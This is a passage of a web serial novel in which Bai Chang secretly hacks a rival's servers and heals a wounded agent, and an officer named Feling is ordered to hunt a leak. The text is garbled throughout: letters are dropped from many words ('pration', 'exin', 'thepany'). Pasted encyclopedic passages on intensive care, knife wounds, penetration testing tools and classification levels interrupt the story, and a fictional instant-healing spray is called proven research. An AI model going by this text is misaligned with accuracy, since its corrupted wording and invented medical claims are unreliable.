    "Did you know that she was a Doctor?"


    "Did you know she was a surgeon?"


    "When did she start learning?"


    "How did she build a full-scale private hospital here on the property?"


    My mother sted me one question after another.


    I grimaced.


    To all those questions, I can only keep it quiet,


    "Why are you keeping mum? Are you a mute? What is going on here?"


    "Would you keep your cool," my father interjected.


    "Old man, if there is any harm to my daughter, you and your son will bear severe consequences, I warn you!" she huffed and puffed in anger. Her face flushed.


    "Mother, keep it down," I advised her. After all, this is Bai Chang''s ce and her amnesia already makes it difficult for her to put her trust in us.


    "Why?" she almost lost it, while anger imed her senses.


    "Don''t make a scene here, we will talk at home," my dad tried to calm my mother while he turned towards me and said, "you are finished this time."


    "Why do you say that?"


    "Because you messed up her trust by forcing her. You have to understand that she is no more your yes wife. She is a far morepetent person than you and she has a much better and solid brain on her shoulder than yours."


    "Then, how do you exin today''s event?"


    "Simple, she keeps her side of work clear from you and you and yourpany are no more than a shield to confuse others."


    "What gave you that impression?" I asked my father, while my fingers clenched in a fist.


    "Because she has her own security team and her own missions. She doesn''t trust you enough to use your people. To her you are an unstable variable, whom she won''t even trust her back," my father elucidated.


    Though jarring the facts ran true.


    <em><strong>I just lost my wife''s confidence in me after the mayhem that I caused.</strong></em>


    --------------------------------------

 Chapter 79: Bai Changs First Step of Retaliation

    Chapter 79: Bai Chang''s First Step of Retaliation


    [POV Bai Chang]


    Study Room, Third Floor-


    After Zhang Wei left the room, I took a deep breath.


    ''How dare they target my men?''


    I log in to my private server and jack up ''Jiffy'' for auxiliary surveince. Then it is time to return the favour of the old frenemy.


    I hook to Feling''s server and work my way into his logs. There are various records of his conversations with other people. As he is a person with a lot of issues and secrets to hide, he collects leverage on people around him and keeps them in his private server.


    I came across it when I was deep scanning his servers and cloud data as well as anywork or neural connection of data.


    My searches did bear fruits as I stumbled upon his archives.


    ''Come on, Come on, show me something good'' I yed around his recent archives.


    While simultaneously I y the video recording brought to me by my squad.


    As I push the buttons to y the video, the screen lits up. There is a park in the background, after a few seconds, Feling jogs into the frame. A runner from opposite side stops by the bench and stretches out and finally leaves. Feling moves towards the same bench and sits down.


    After some light exercise and cool-down stretches he leaves the spot.


    ''It''s a dead drop. He passes information with someone while the runner is the carrier here.''


    I search the runner through facial recognition software across various databases. It took some time but it finally came to a match.


    The runner is an officer in the intelligence bureau of the government, mostly affiliated to the military.


    The runner is working in Lt. General''s office. So who is her boss?


    Interesting very interesting


    I further yed the stores video in the sh drive.


    This time the screen changes to a coffee shop. A femalees to the shop and just speaks two words with Feling and left.


    I yed the third and thest video on the sh drive.


    This time it is an official setting. Most probably inside an army camp or military base.


    Feling is dressed in casual informal while another person joins in. There are no audios to these videos so I shift to reading their lips.


    The man who joins Feling on the screen is a Major General rank officer. His face is partially hidden under his cap.


    Their meet concluded that the officer warned Feling to not to get ahead of himself.


    There was friction among them while the keyword to take away from them is ''Project 33''.


    Interesting.


    The man even warned him that his operations would be leaked and he has enough material on Feling to put him under the government''s rehabilitation programme.


    "Project 33 huh.." I think aloud.


    Next, I search for Project 33.


    It took well into the night to search for ''Project 33'' as there were over one thousand matchings hit. So to search for the relevant data took time.


    As for the Hu family, they made themselvesfortable in the Vi, ying with their grandchild. As for Hu Qiang. I asked Zhang Wei to request him to leave the Vi premise.


    He really hurt me. I don''t owe him and neither does he dictate every aspect of my life.


    As I walked to the window, I saw Qiang leaving the premises. Slouched shoulders and head hanging down.


    Though he cuts a sorry figure, I feel no feelings of softness when I remember old Bai Chang''s memory.


    I pulled out a music CD that Bai Chang kept with her.


    It was a collection of various songs that she used to listen to.


    Though she was autistic, she understood people and was clear of her rtionships.


    That is why she saved Xiao Wei at the cost of her life but never contacted Qiang in herst moments.


    She knew the importance of relying on herself rather than Qiang to save her only son. The light of her life.


    I y the CD and a male voice ying acoustic guitar starts to sing throughout the room.


    <em>La,</em>


    <em>Call me what you wanna, I''ll be what you wanna</em>


    <em>I''ve been here a thousand times, eh-eh</em>


    <em>Fallin'' for another, I don''t even bother</em>


    <em>I could do it all my life</em>


    <em>So tell me if you wanna ''cause I got this feeling</em>


    <em>I wanna hear you say it ''cause I can''t believe it</em>


    <em>With every touch of you, it''s like I''ve started dreaming</em>


    <em>Guess Heaven''s not that far away</em>


    <em>And I''ll be singing,,</em>


    <em>You''re breaking me,,</em>


    <em>You''re breaking me,,</em>


    <em>You''re breaking me,,</em>


    <em>I''m just right here dancing around to the rhythm</em>


    <em>The rhythm that you y when you''re breaking my heart</em>


    <em>You know that I can''t get you out of my system</em>


    <em>Yeah, right from the start, you yed with my heart</em>


    <em>And I''ll be</em>


    I look up the artist of this song. Its Alexander Tidebrink, known by his stage name A7S, a Swedish producer, songwriter, and singer.


    I close my eyes and it transports me into a cold room where I am barefoot. There are apparatus hooked to me and someone in the dark orders to up the voltage. And I get electrocuted.


    "Where is the source code?" Someone asked harshly.


    Only silence answers them.


    They throw salted water on me, the pain is unbearable but there is no sound escaping my lips.


    "Are you trying to keep mum? Bai Chang, it is easy for us to obliterate you as we did with your parents now speak, damned!"


    [Knock Knock]


    "Bai Chang"


    "Bai Chang, dinners ready. Where would you like to eat?"


    "Bai Chang" someone shakes me hard and I immediately retaliate.


    I flip the person and throw him on his back and I almost run through him my hairpin. Its a type of hidden weapon.


    The man holds onto my hands firmly and shouts, "Bai Chang it''s me Zhang Wei, Bai Chang!"


    I finally came to myself and met Zhang Wei''s perplexed eyes.


    I hurriedly back up, "I''m sorry"


    "What happened?"


    "I was just not myself."


    "So what were you thinking?"


    "Something bloody and me," I mumbled.


    (It was a memory of Bai Chang. She was tortured after she rescued Xiao Weist time.)


    "What got into you tonight?"


    "Nothing, just some old scars were scrapped anew," I said.


    He looked at me asking.


    Instead, I asked him something else, "How are you rted to Qiang?"


    He looked stunned for a second before he concealed his thoughts. But I managed to catch it.


    "Answer the damn question!"


    He heard the aggression in my voice, taking a deep breath he contemted.


    "Well" he dragged on.


    Even I didn''t relent either. I stared down at him.


    "Well, I am his distant cousin," he answered defeatedly.


    "And how are you rted to my Shui family?"


    This time he openly looked at me, surprised.


    I simply cross my arms and look at him steadily.


    "Actually I was your family''s security chief assigned personally by family head Dr Shui himself," he answered softly.


    "Why do you ask?" This time he questioned me.


    I think to myself, ''What should I reply to him?''


    Then I decided toe clean to him.


    "Thank you for saving my life at the N-47 Highway, three years ago," I replied.


    I see him visibly tremble, as he gradually turns pale. As if he has seen a ghost.


    "You.. You"


    His words fail him, they are unable to summarize the huge range of feelings that he is going through at the moment.


    "You remember," he asked aghast by the revtion.


    "Everyst bit of it," I replied to him.


    "Since when?" He was visibly shaking from head to toe. The calm man that he usually is, has lost all his calm. He looked horrified waiting for my answer.


    "Since always," I replied.


    He trembled, tears flooded his cheeks.


    <em><strong>"I always remembered it from day one," I continued.</strong></em>


    I remembered every bit of the pain and the tortue treatment as well as my various attempts to escape and finally my demise." I stated.


    "Bai Chang"


    The calm andposed man was nowhere to be seen. He looked pained.


    "Did - Did you see something-"


    "I just took a trip back to the memoryne. Sorry if I freaked you out."


    --------------------------------------


    Author''s Disimer, I have my exams going on. So most of thest week chapters were from my stockpile. I will try to keep up a steady update.


    While please continue to support the story by voting for it.


    I am really thankful to divya_12 and Yajaira_Ramirez_4324; till now the highest contributor to the story for the past two weeks.


    I really appreciate your support.


    <em><strong>Keep voting for the story and if by the end of the month we win the win-win contest then there would be coins as rewards to the highest contributors of the month.</strong></em>


    <em></em>While let me know your views and feelings about the story in thements. I love to read them. They are my dose of motivation. Please keep me motivated.

 Chapter 80: Zhang Weis Loyalty

    Chapter 80: Zhang Wei''s Loyalty


    [POV Zhang Wei]


    "I always remembered it from day one," she said.


    My heart jolted. There was a myriad of emotions, as I remember the broken girl that I rescued from the Highway as she made a sessful attempt to escape from behind the enemy lines.


    "I am sorry if I scared you," she said as she moved towards the window. The moonlight kissed her face but the darkness served as her armour. They night illuminated all her secrets and pains but there was no one to witness them.


    Tonight I identally stumbled across her.


    For how long has she been tormenting herself?


    I walked out of the room, it''s best to leave her to her own at the moment.


    I clenched my fist and gritted my teeth, if only Hu Qiang took better care of her, she wouldn''t have faced the disaster that she survived.


    I walk into the kitchen and move to the cooking station.


    There was already someone who beat me at my job.


    "Xiao Wei, what are you doing here?"


    "Uncle Wei, I am trying to fix Mamma''s meal."


    The little boy was currently standing on a broad stool as he moved it from here and there to fix a te of the meal for his mother''s dinner.


    "Let uncle help you with it. Here," I took the te from his hand and ced some sd and a bowl of soup. Then I ced some dumplings and a slightly spicy chilly oil and vinegar sauce.


    "Uncle Wei, why does Mamma always eat steamed food or soups? When will she eat more solid and spicy food?" The boy asked with concern.


    "Your Mamma is still healing so she needs to eat more of the nutritious food," I replied.


    "Will she go to deep sleep if she eats spicy food?" he asked.


    I ce the te aside and simply hug him. ''How do I exin it to him?''


    "Okay, have you had your dinner yet?"


    The boy shook his head.


    "Okay let me fix a te for you too, go to the study room and have your dinner with Mamma."


    ''Maybe this would help her to eat something tonight. Looking at Xiao Wei may be her motivation.''


    "What are your grandparents up to?"


    "They are in the activity room looking for you. But as you went to look for Mamma, so they didn''t bother you now."


    "Okay let me put the food on the warmer and deliver it to the study room, you apany me and tonight do not trouble your mother too much."


    "Is she okay? Is she ill?" he asked as his little face scrunched up.


    "No but tonight, she is a little upset," I answered the little boy.


    "Is it because of my useless father? He is really good for nothing. Always causing trouble for Mamma. He really doesn''t appreciate Mamma at all. Uncle Wei, I do not want to share Mamma with him at all."


    I am a little surprised inside. This little boy is a lot more sensitive than I expected.


    "Let us go"


    I took him and the food served on a serving tray and delivered it to the study room.


    Then I left the pair of mother and son together to heal each other''s wound, as I made my way towards the elder Hu''s room.


    ***


    [Knock Knock]


    "May Ie in, this is butler Zhang Wei," I said as I knocked on the door.


    "Pleasee in," a heavy voice replied from inside.


    I opened the door and walked inside, "You were looking for me, I heard."


    "Yes Zhang Wei, please take a seat."


    The old senior, Chairman Hu was seated across me behind a round oak table.


    I looked slightly towards his left, Madame Hu was putting down the book she was reading. Herplete attention was towards me.


    "Please sit down, Zhang Wei," Madame Hu urged.


    I made myselffortable on a wooden chair.


    I made myselffortable on a wooden chair.


    "How is she?" Chairman Hu asked.


    "She would be better with time," I replied.


    He looked at me directly while Madame Hu straightened up.


    "What do you mean?" Madame Hu asked sharply.


    I keep my silence. These people may have raised her but they had their own motive. I don''t want to give away anything.


    "Butler Zhang Wei," Chairman Hu raised his voice.


    "I apologize, if you have nothing else to ask, I will take my leave," I stand up to walk out.


    "Please butler Zhang, we are her parents and care about her." Madame Hu tried to reason.


    "Sorry Madame,st time I checked she still used the surname Shui. And three years ago you all made your choice. It was me who saved her from while you all left her without support."


    Madame Hu visibly paled.


    "Butler Zhang, you are crossing your boundary," he mmed the table.


    "Keep it down Chairman Hu,st time I checked this property was legally under Shui Bai Chang''s name. Let me inform you, she paid the due cost of it to yourpany already.


    And to you all, I am Commander Zhang Wei. I am no butler of your''s," I said and stormed out of the room.


    Inside I was feeling a little light as I spoke the unsaid words after such a long time.


    How can I forget how these people used Shui families name, connection and properties to build up their current empire.


    They had taken in little Bai Chang under their custody to get their hands on the property and funds.


    They got her married to Hu Qiang just to hold on to the powers thate with her custody after all Dr Shui and his wife were great people with more influence.


    When they treated her well I went on to protect her from the shadows but what happened next?


    They abandoned her during her greatest hour of need. That Hu Qiang simply treated her like air and at thest moment the Hu family chose to protect their heir and sacrifice the autistic girl as coteral damage.


    I can never forget that night from three and a half years ago. That chilly night as the winds blew hard and from heavy rain, there was a thinyer of ice on the roads. I got to know that Bai Chang was kidnapped.


    I hurried outside and hit the roads in search of her.


    After hours and hours of cross-examination and calling out numerous favours I just got an idea of a general location, and I drove towards it at full speed.


    That night I didn''t save her, instead, she saved herself. She practically came under my car as I was driving.


    It took me time to even recognise her for who she really was!


    There was blood flowing freely from her body.


    When I rushed her to the hospital, the doctors told me she had a hundred deep wounds, countless medium to light tissue tears, her fingers and nail beds were all pricked and poked and she had been electrocuted many times. She had a brain haemorrhage and there were deep knife wounds on her abdominal cavity.


    She was brutally tortured.


    I failed to keep my promise to Dr Shui, he asked to safe keep his jewel of a daughter from all harms and yet I failed.


    ''I failed miserably.''


    So after three years when I received news that she woke up from thea. I dashed out to her side on first notice.


    I visited Dr Shui''s grave and I made a promise, that this time I will look after her as a hawk. I will do anything to keep her safe.


    So I applied for the steward''s post.


    And to my surprise, she picked me up for the job right away.


    From then till now I have been a silent spectator to all her aplishments.


    She is truly Dr Shui''s daughter. So talented.


    I saw her slowly but steadily build her own influence and means. I saw her grow strong with each passing day. I saw the smart girl develop her own intelligencework.


    She cleverly put Hu Corporations as her shield. But I also came to realise that she was turning herself self-reliant.


    And today I got to know the reason behind it.


    <em><strong>''Because she was never amnesic, she had all her memories crystal clear right from the moment she woke up.''</strong></em>


    She simply carefully took one step at a time.


    She will never trust others. Especially the Hu family if she remembers herplete past.


    The sole connection between her and Hu''s family is Xiao Wei.

 Chapter 81: Bai Changs Fury

    Chapter 81: Bai Chang''s Fury


    [POV Bai Chang]


    Last night Zhang Wei helped Xiao Wei fix our dinners. I am truly grateful to him for that.


    Today morning, I have a lot on my te. But before that, I want my inws to leave the Vi premise. This would give me much more liberty to work on my kind of stuff.


    I walk towards the dining table,


    "Good Morning Mother, Father," I greeted them.


    "Morning my dear, how are you doing today?" Mother Hu asked.


    "I am fine, thank you for asking," I replied.


    "We would leave for the Hu Residency after breakfast as we have a few tasks to do," this time it was Father Hu who spoke up conveniently stopping Mother Hu to speak anything.


    "Ohh"


    "We are-" Mother Hu tried to speak up


    "We are going, I received a call from one of my colleges this morning, its a bit of an urgent situation." Father Hu said solemnly.


    "Okay, I will pack your dresses for the events. Is it alright?" I asked.


    "Sure" finally there was some softness to his features.


    I didn''t drag the conversation anymore and finished my dinner as fast as I could.


    By nine in the morning, the Hu family left. Xiao Wei stayed behind this time.


    ''Now it is time to get down to do proper business.''


    "Zhang Wei," I called out.


    After a few minutes, he was in front of me. "Zhang Wei, thank you forst night."


    He looked puzzled over my gratitude.


    "Last night you handled the Hu family pretty well. As well as yourst conversation with them,te at night. Thank you for standing up and letting them know it for clear; what they did right or wrong," I said.


    "You knew about it?" he looked surprised.


    "Anything within one mile range of this property inside as well as outside are all covered under my meticulous third eye."


    "So why did you hollered me down, early in the morning?" he asked.


    "It is time to hunt our enemy and provide them with retribution."


    "Huh"


    "First let us take another look at Beta''s condition. Ask the squad to report in the outhouse."


    "Okay"


    ***


    Inside the basement private hospital-


    I looked at Beta''s wound all over again, Zhang Wei was beside me and the squad was waiting by the corridor.


    His wounds are a tad bit on the serious extreme of the injury and pain spectrum. Yesterday I couldn''t take any measures but today, it is time to relieve my subordinate from his pain.


    I walked towards another clear room and opened a cupboard. From it I picked a few bottles and gauges as well as cotton swab sticks and headed towards Beta.


    "Okay now let me see what I can do?"


    Beta was kept in the ICU room.


    CU is one of the most critically functioning operational environments in a hospital.


    Every ICU in a hospital has a different environment that will reflect the specialist medical and surgical procedures they perform.


    Most ICUs are fairlyrge sterile areas with a high concentration of specialised, technical and monitoring equipment needed to care for critically ill patients.


    The ICU environment can be confronting for some patients and visitors who may find the activity, sounds, machines, tubes and monitors intimidating.


    It can be a frightening and uncertain time for you, family and friends to see people you care about being monitored and supported by machines.


    In ICU you will see many patients connected to a heart monitor, others will be supported with breathing assistance from artificial venttors, be on dialysis machines and receive a variety of intravenous infusions via tubes and drips.


    This really was unavoidable as yesterday the Hu family was here, so anything out of line will bring more heat from them. And for the time being, I want to avoid the heat and the apanying questionnaire.


    Now mostly ICUs require critical care i.e. Critical care (also known as Intensive Care) is the multi-professional healthcare speciality that cares for patients with acute, life-threatening illness or injury. Most of us will experience a critical illness or injury, either as the patient, family member or friend of a patient.


    Critical care can be provided wherever life is threatened - at the scene of an ident, in an ambnce, in a hospital emergency room, or in the operating room. Most critical care today, however, is delivered in highly specialized intensive care units (ICU). Various terminologies like Critical Care Unit (CCU), Intensive Therapy Unit (ITU), Coronary Care Unit (CCU) may be used to describe such services in a hospital.


    Critical care is provided by multi-professional teams of highly experienced and professional physicians, nurses, respiratory care technicians, pharmacists and other allied health professionals who use their unique expertise, ability to interpret important therapeutic information, ess to highly sophisticated equipment and the services of support personnel to provide care that leads to the best oue for the patient.


    Patients are rarely admitted directly to the critical care unit. Rather, they are usually admitted from the emergency room, or surgical area where they are first given care and stabilized. The continuum of critical care begins at the moment of illness or injury and continues throughout the patient''s hospitalization, treatment and subsequent recovery.


    Here, in my hospital, I went all digital or AI. So all night ''Jiffy'' yed the role of an intensivist, An intensivist (also known as Critical Care Specialist) is a doctor with subspecialty training, or equivalent qualifications, in critical care. An intensivist directs the care of critically ill and injured patients and works in coboration with other health care professionals necessary for the care of patients in critical care units.


    So all night till this morning, ''Jiffy'' jotted down every single output that could be measured from a human body.


    I walk towards the bed, there on the Betaid unconscious, in pain.


    My heart was ame seeing all this. I swear I will make the culprit pay with his or her blood and life.


    I first remove his gauge from his shoulder. The wound still had an angry red colour and swollen. The knife enters the skin at a shallow angle, the saw edgees into contact with the skin giving rise to excoriated ''shes'', and a ''V'' shape can be made where the knife is partially removed and moved within the wound. This rtive movement urs often in knife attacks which are dynamic, and the victim, attacker and knife may move rtive to each other at any stage of the attack, giving rise to difficulties in interpretation and reconstruction of the events leading to the wounds under investigation.


    Each wound was deeply etched in my mind. I suppress my temper and with steady hands remove the stitch. Then I made a fresh wound on the same, though not too deep. Quickly I clean the dripping blood using cotton and pressed it on the wound. Next, I took a long stem swab and spray the cotton tip with a gel-like substance. Then I quickly spread it evenly on the cut.


    Then the wound starts to heal quickly at a visible rate around the cut. I then shake a can and spray the concoction on the exposed wound. I pull up a phase-contrast microscope and observe the wound under real-time. I had customised an entire set of microscopes for my use during the past few months.


    Phase-contrast microscopy is an optical microscopy technique that converts phase shifts in the light passing through a transparent specimen to brightness changes in the image. Phase shifts themselves are invisible but be visible when shown as brightness variations.


    I have jacked up the output image on a different screen. As I observe his injury under the microscope, on the screen I could see rapid reintegration of various tissue structures the shoulder ligaments were forming new cells under external cataclysm.


    "What is going on? How is this possible?" beside me Zhang Wei was gawking at the screen.


    "Wait- WHAT!" he eximed, he couldn''t get hold of his reality. The wounds were visibly closing up after fifteen minutes.


    An injury that should take more than a few months to heal was practically closing up after just quarter of an hour.


    "Rx these are tested and proven, confidential medical research results," I replied.


    Next, I quickly move on to the next step, i.e. I spray the quick heal fast action spray all over his overall small wounds.


    Then I observe each and every one of these wounds under the microscope. I am satisfied as they show appropriate results.


    <em><strong>''Phew! All those months of research and recreation of Star Time System Medical Practices didn''t go to waste.''</strong></em>

 Chapter 82: Bai Changs Fury (contd.)

    Chapter 82: Bai Chang''s Fury (contd.)


    I observed Beta''s condition for another hour as I treated his other injuries. His vitals are showing signs of a great recovery. Beside me, Zhang Wei has gone silent for quite some time now.


    After another hour Beta started to stir up. He was regaining consciousness.


    ''Good''


    After about two hours, a person who was so gravely injured that ording to current medical practices should rest for more than a month in ICU; He was fine and healed in a matter of two hours only.


    This is the power of Star Time System''s medical practices. In that civilisation, money was not a costlymodity but time.


    As he blinked his eyes and woke up. He saw us and finally, his tensed up muscles have rxed.


    "Good to have you back Beta, now report."


    "Yes ma''am"


    Zhang Wei turned towards me all perplexed.


    "His first sensories are still in the stimtion of hisst action. Thus he would be able to remember anything of the event in greater detail at this very moment of time," I replied to his unasked question.


    I turn to Beta and give him a nod. So he began to report-


    "Ma''am, I followed the target two and arrived at an abandoned factory, outskirts of the city. The factory used to be a petroleum refinery unit before its close down.


    There, target two met up with two other people. From their dialects, they seemed Russian operatives. There, target two proceed to deals with weapons and after two hours of wait, a Weapon Intelligence Team (WIT) arrives on the spot. They were a mix of government-owned military and private avenues.


    Five military individuals from speciality careers including explosive ordnance disposal (EOD), intelligence analysis, Master at Arms (police) and photography, were present.


    They transferred weapons, drugs and two sh drives and an external drive. At the end of the meeting just when I was leaving the spot a reflecting surface-exposed my position. Then it was a fight of survival. I do not remember anything after that."


    "Hmm"


    "Okay You rest here for two more days and I will help you with physiotherapy for a week. Then you are a free man and good to go. Your teammates would fill you in with details and take rest now." I said and walked out of the outhouse.


    ****


    Inside the study room-


    I pace about the room trying to put together all the pieces of the puzzle. It sure is difficult to pin-point to the minute details but the overall view ising together.


    I move towards myptop and jack up ''Jiffy'' with it.


    Next, I move virtually towards Feling''s server and snoop around to find otherworks that are shing with it.


    Soon, I found what I wanted. Hiswork was essed remotely by a certain Lt. General.


    My person of interest was on site. Instead of directly attacking them, I chose a different path. I ran an entire system Vulnerability assessments; pration tests and risk analysis of mywork, Feling''swork and Lt. General''swork.


    Vulnerability assessments are performed by using an off-the-shelf software package, such as Nessus or OpenVas to scan an IP address or range of IP addresses for known vulnerabilities. For example, the software has signatures for the Heartbleed bug or missing Apache web server patches and will alert if found. The software then produces a report that lists out found vulnerabilities and (depending on the software and options selected) will give an indication of the severity of the vulnerability and basic remediation steps.


    It''s important to keep in mind that these scanners use a list of known vulnerabilities, meaning they are already known to the securitymunity, hackers and the software vendors. There are vulnerabilities that are unknown to the public atrge and these scanners will not find them.


    While many "professional pration testers" will actually just run a vulnerability scan, package up the report in a nice, pretty bow and call it a day. Nope  this is only a first step in a pration test. A good pration tester takes the output of awork scan or a vulnerability assessment and takes it to 11  they probe an open port and see what can be exploited.


    For example, let''s say a website is vulnerable to Heartbleed. Many websites still are. It''s one thing to run a scan and say "you are vulnerable to Heartbleed" and apletely different thing to exploit the bug and discover the depth of the problem and find out exactly what type of information could be revealed if it was exploited. This is the main difference  the website or service is actually being prated, just like a hacker would do.


    Simr to a vulnerability scan, the results are usually ranked by severity and exploitability with remediation steps provided.


    Pration tests can be performed using automated tools, such as Metasploit, but veteran testers will write their own exploits from scratch.


    A risk analysis is often confused with the previous two terms, but it is also a very different animal. Risk analysis doesn''t require any scanning tools or applications  it''s a discipline that analyzes a specific vulnerability (such as a line item from a pration test) and attempts to ascertain the risk  including financial, reputational, business continuity, regtory and others -to thepany if the vulnerability were to be exploited.


    Many factors are considered when performing a risk analysis: asset, vulnerability, threat and impact to thepany. An example of this would be an analyst trying to find the risk to thepany of a server that is vulnerable to Heartbleed.


    The analyst would first look at the vulnerable server, where it is on thework infrastructure and the type of data it stores. A server sitting on an internalwork without outside connectivity, storing no data but vulnerable to Heartbleed has a much different risk posture than a customer-facing web server that stores credit card data and is also vulnerable to Heartbleed. A vulnerability scan does not make these distinctions. Next, the analyst examines threats that are likely to exploit the vulnerability, such as organized crime or insiders, and builds a profile of capabilities, motivations and objectives. Last, the impact to thepany is ascertained  specifically, what bad thing would happen to the firm if an organized crime ring exploited Heartbleed and acquired cardholder data?


    A risk analysis, whenpleted, will have a final risk rating with mitigating controls that can further reduce the risk. Business managers can then take the risk statement and mitigating controls and decide whether or not to implement them.


    The three different concepts but are not exclusive of each other, but ratherplement each other. In many information security programs, vulnerability assessments are the first step  they are used to perform wide sweeps of awork to find missing patches or misconfigured software. From there, one can either perform a pration test to see how exploitable the vulnerability is or a risk analysis to ascertain the cost/benefit of fixing the vulnerability. Of course, you don''t need either to perform a risk analysis. Risk can be determined anywhere a threat and an asset is present. It can be a data centre in a hurricane zone or confidential papers sitting in a wastebasket.


    It''s important to know the difference  each is significant in their own way and has vastly different purposes and oues.


    So I run all the diagnostics across different servers. In the meantime, I look for the specific project that they discussed, ''project 33''.


    For pration testing, I used an upgraded version of Kali Linux. Formerly known as BackTrack Linux and maintained by the good folks at Offensive Security (OffSec, the same folks who run the OSCP certification), Kali is optimized in every way for offensive use as a pration tester.


    While you can run Kali on its own hardware, it''s far moremon to see pen-testers using Kali virtual machines on OS X or Windows.


    Kali ships with most of the tools mentioned here and is the default pen testing operating system for most use cases. Be warned, though--Kali is optimized for offence, not defence, and is easily exploited in turn. Don''t keep your super-duper extra secret files in your Kali VM.


    Then I ess the files rted to ''project 33'' on both Feling and Lt. General''s server.


    I found somemon points and as well as some interesting tidbits.


    I flex my fingers and twiddle my thumb, twisting my neck from side to side I straighten up.


    "Hehe. It''s time to wage my deration of war on them."


    <em><strong>(Get ready to get ruined at a pace that makes you doubt the very purpose of your breath!)</strong></em>

 Chapter 83: Feling Gets Screwed

    Chapter 83: Feling Gets Screwed


    [POV Feling]


    I woke up as usual, early in the morning. Following my daily routine, I grabbed a cup of coffee as I turned to the screen. I try to follow Bai Chang but she is back in her fortress. I have no ess to that ce. Even if I could go to the Hu Corporation servers to snoop before but after the bidding contest, it became a fortress itself.


    All the moles that were ced by the government and other agencies all were removed. There were casualties as well but amongst all these mayhem my source still lived on. While I still can''t ess Bai Chang, it was not that difficult to ess Hu Qiang.


    ''That fool''


    As I was about to sit my phone rang-


    [Tring Tring, Tring Tring]


    I picked up the call and there was no caller ID shing on the screen.


    "Hello," I answered.


    A heavy and annoying voice replied from the other side, "Report to the Headquarters within an hour."


    [Tu Tu Tu Tu]


    The phone line went dead. The other partly clearly hung up.


    ''Seems there is some action involved at least''


    I gulped down my coffee and then headed towards the Headquarters.


    ***


    Military Base Camp, A Secret Closed-Door Conference Room-


    "How do you estimate the cause and effect of this case?" a uniformed man asked. His epaulette had three stars with wings.


    "First we have to assess the risks involved," another man sitting opposite the first man replied politely, his epaulette had three stars enclosed within two lines, above and below.


    I stood by the door and observed the people sitting inside the room. While the former was a General, thetter was a Colonel.


    ''Interesting'' I thought.


    [Knock Knock]


    I knocked on the door to ask for permission.


    "Come in," the Colonel replied.


    I walked through the door and saluted them.


    While they observed me I observed them. The Colonel looked something in his early thirties. For such a young man to be on such a post that too at his age, he can''t be underestimated. While the General looked more like an old man with vigour running through his veins as he had ck hairs with a sprinkle of grey hairs mixed in, other than that there are no other markers to mark his age.


    I also noticed that they didn''t have their name tag on their uniform.


    ''So is this going to be a super confidential meet?'' I thought to myself.


    "At ease Major," the Colonel ordered. "Have a seat," he offered.


    I sit down opposite to them all straight back.


    "Major do you have any idea why we convened here?" he asked.


    I looked around but nothing struck. Then I think back to my meeting with Lt. General. Is it rted to that? I kept my calm as I quickly analysed, then finally replied, "No sir."


    He stared at me.


    "Major have a look at this," he handed me a tablet, "remember, these are for your eyes and shouldn''t make its way out of this room," he warned.


    I look through the files presented.


    As I kept on reading the more I felt infuriated in my heart. That Lt. General screwed me over.


    I look towards the Colonel, "How sure are you on this data?" I asked.


    "What do you mean?"


    "Apologies but I don''t trust files like these until and unless I have searched through the source by myself," I stated.


    "What makes you sure that you will find this data anywhere?"


    "Pardon me gentlemen but before entering this room you must have looked into me. So you must know that I work as a high-level data analyst and field operative. I only trust what I can find and cross-check myself, rest are rumours that I hardly care for. So may I ask, how sure are you of your information?"


    "Very well, if what is stated there is true, what would be your next step?" He asked with an edge in his voice.


    "Eliminate," I replied curtly.


    The General raised an eyebrow at it. "Why eliminate?" this time the General asked.


    "It''s appropriate as dead men tell no tales," I replied without any hesitation.


    "Good, I like it, so search for the clues yourself and finish the appropriate steps yourself. You have only a week to finish the task. If you fail I will eliminate you, to be fair. Now move on, your time starts now," he ordered.


    "Salute" I saluted and left the room.


    ''This is going to be a fight against time'' I thought to myself.


    ****


    Inside Feling''s home-


    I pace around the room as I try to think through it.


    ording to the U.S. ssification of information, the system has three ssification levels -- Top Secret, Secret, and Confidential -- which are defined in EO 12356.2 Those levels are used both for NSI and atomic energy information (RD and FRD). Section 1.1(a) of EO 12356 states that:


    (a) National Security Information (hereinafter "ssified information") shall be ssified at one of the following three levels:


    (1) <strong>"Top Secret"</strong> <em>shall be applied to information, the unauthorized disclosure of which reasonably could be expected to cause exceptionally grave damage to the national security.</em>


    (2) <strong>"Secret"</strong> <em>shall be applied to information, the unauthorized disclosure of which reasonably could be expected to cause serious damage to the national security.</em>


    (3) <strong>"Confidential"</strong> s<em>hall be applied to information, the unauthorized disclosure of which reasonably could be expected to cause damage to the national security.</em>


    Section 1.1(b) of EO 12356 states that "except as otherwise provided by statute, no other terms shall be used to identify ssified information."


    Most countries follow these basic outline,but projects or data rted to scientific innovations are a whole another murky area.


    The more important that an item of information is to national security (the more damage that would be caused by its disclosure), the higher should be the ssification level of that information. Determining the damage to the nation caused by the disclosure of information. The magnitude of that damage will determine the ssification level that should be assigned to the information under consideration for ssification.


    The amount of damage caused by the disclosure of information will be the primary determinant of the ssification level to be assigned to that information, but the imminence of that damage might also be a factor in determining its ssification level. That is, the shorter the time period between the time that the information is known to an adversary and the time that the adversary can use that information to our detriment, the higher should be the ssification level of that information.


    ordingly only scientific or technological developments vital to the national security should be assigned the Top Secret ssification level. Disclosure of this information "reasonably could be expected to cause exceptionally grave damage to the national security." Vital is defined as -


    <em>Vital</em>--of the utmost importance; essential to the continued existence, vigour, efficiency, independence, or value of something expressed or implied; taking priority in consideration over other factors or elements


    While only "significant scientific or technological developments rting to national security" should be ssified at the Secret level. "Significant" has the following definition:


    <em>Significant</em>--having meaning; full of import; having or likely to have influence or effect; deserving to be considered; important; weighty; notable.


    As for Top Secret scientific or technical information indicates that both levels are concerned with developments vital to national defence. One difference between the two descriptions is that Secret information includes new technological developments, materials, etc., whereas to be Top Secret the information has to concern radically new and extremely important munitions of war such at atomic weapons.


    But the problem is Project 33 is under special category. With a lot of investors involved to trace the leak would be a headache.


    First, I will start with myself.


    I run a basic system diagnostic and then move on to prative analysis and risk analysis.


    As I run various diagnostics Ie across a mirror clone of the server hosting Project 33.


    I clenched my fist.


    "I swear I will kill the traitor after giving him a tour to the purgatory for screwing me."


    I retrace the virtual footprint and it leads me to an interesting ce, it is cloud storage separated from other virtual nes.


    There, the contents are very interesting.


    I go through the data thoroughly line by line.


    [Gurrggle Gurrggle]


    My stomach grumbled. I am hungry, I forgot that I didn''t have anything after that morning coffee. I move to the simple open kitchen by the side of the room and start to boil water in a saucepan. I fixed my self a bowl of instant noddles and get back to work.

 Chapter 84: Feling In Action

    Chapter 84: Feling In Action


    ****

